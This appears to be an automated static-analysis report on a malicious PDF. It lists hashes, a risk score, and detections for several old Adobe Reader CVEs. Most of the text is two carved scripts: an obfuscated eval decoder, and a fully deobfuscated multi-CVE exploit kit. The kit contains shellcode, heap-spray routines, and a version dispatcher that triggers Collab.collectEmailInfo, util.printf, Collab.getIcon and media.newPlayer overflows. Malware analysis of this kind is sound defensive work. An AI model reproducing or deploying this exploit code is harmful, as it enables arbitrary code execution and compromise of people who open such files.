Malicious PDF — malware analysis report

Static analysis result for SHA-256 51c44f5ae0fd156c…

MALICIOUS

PDF

79.3 KB Authoring application: ring.fromChar First seen: 2026-05-08
MD5: 4180d220d6ba1c48a6380f965842aa1b SHA-1: 2ae65cae0558e432c320d4a664732397795c3f30 SHA-256: 51c44f5ae0fd156cc870b2257984ad32ed3e7032fa0fdeb3c55933deef24f32b
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x13AD7 383 bytes
SHA-256: 9dbe55cc0252344e6db23e59201c9506cdd557c6947d805d6d22bfef83849612
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var tyvb="";
hlb='his';
emmfw='tit';
e('qpsr=t'+hlb+"."+emmfw+t);
t='cer'
seho='rodu';
e('ksq=t'+hlb+".p"+seho+t);
lii=e('St'+ksq+'Code');
rtr = e(qpsr);
e('k=rtr.length');
for (i = 0; i < k; i+=2) {
	nqd = rtr[i] + rtr[i+1];
	tyvb += lii(nqd);
}
e(tyvb);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3666 bytes
SHA-256: d5b874fb6a6ae945c86b2cfdb8de292da35b13312a9d8e994d46860f32db961e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u40b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u2534%ue2aa%uc3fa%ue5e8%uffff%uccff%u2429%u2525%ua47b%u79c9%u2524%uac25%ua8c2%u356a%u4aa8%u1471%u72fe%u7674%u7676%u7676%u7676%u7670%u4d76%u2421%u2525%u7370%u4d76%u4b4a%u2525%u504d%u4957%u7148%uab4d%u2b6b%ucdc9%u256d%u2525%ucd75%u2559%u2525%uf5da%ue1a6%u4d2d%uca6a%u206a%ucd75%u2549%u2525%uf5da%ue5a0%u3250%u714f%ud67c%u4d8f%udb57%u3396%u38cd%u2525%u7525%u74cd%u2525%uda25%u76f5%udb4f%uac4d%u244a%ucd98%u252d%u2525%ucd75%u2519%u2525%uf5da%u1445%u41e5%u75ae%uae15%u2977%u77ae%uae31%u0d57%u3d9c%u2525%u1425%u14da%u89e5%u4419%u2759%u0509%ueae4%u2428%uc7e2%ua4d5%u7eda%u6f99%uae4f%u3567%u37ae%ufc50%u61ac%u3901%ue644%uae45%u0149%uae01%u1960%u71ae%u5d20%ucf24%u6fae%uae3d%u057f%uce24%u11c6%uae6c%uae11%ucb24%uda14%ue514%u89d9%ue5a1%u2251%ueae4%u2428%ucee2%u1ed1%u0159%u500d%uaec4%u017f%uce24%uae43%u6e29%u7fae%u2439%uaece%uae21%ucd24%u61ac%u3901%ue744%u252d%ucacd%udadb%u4dda%u5151%u1f55%u0a0a%u1714%u0b1c%u1714%u0b14%u1713%u140b%u1111%u6d0a%u484a%u0a40%u0b41%u4d55%u1a55%u1843%u1314%u4003%u1018%u0025';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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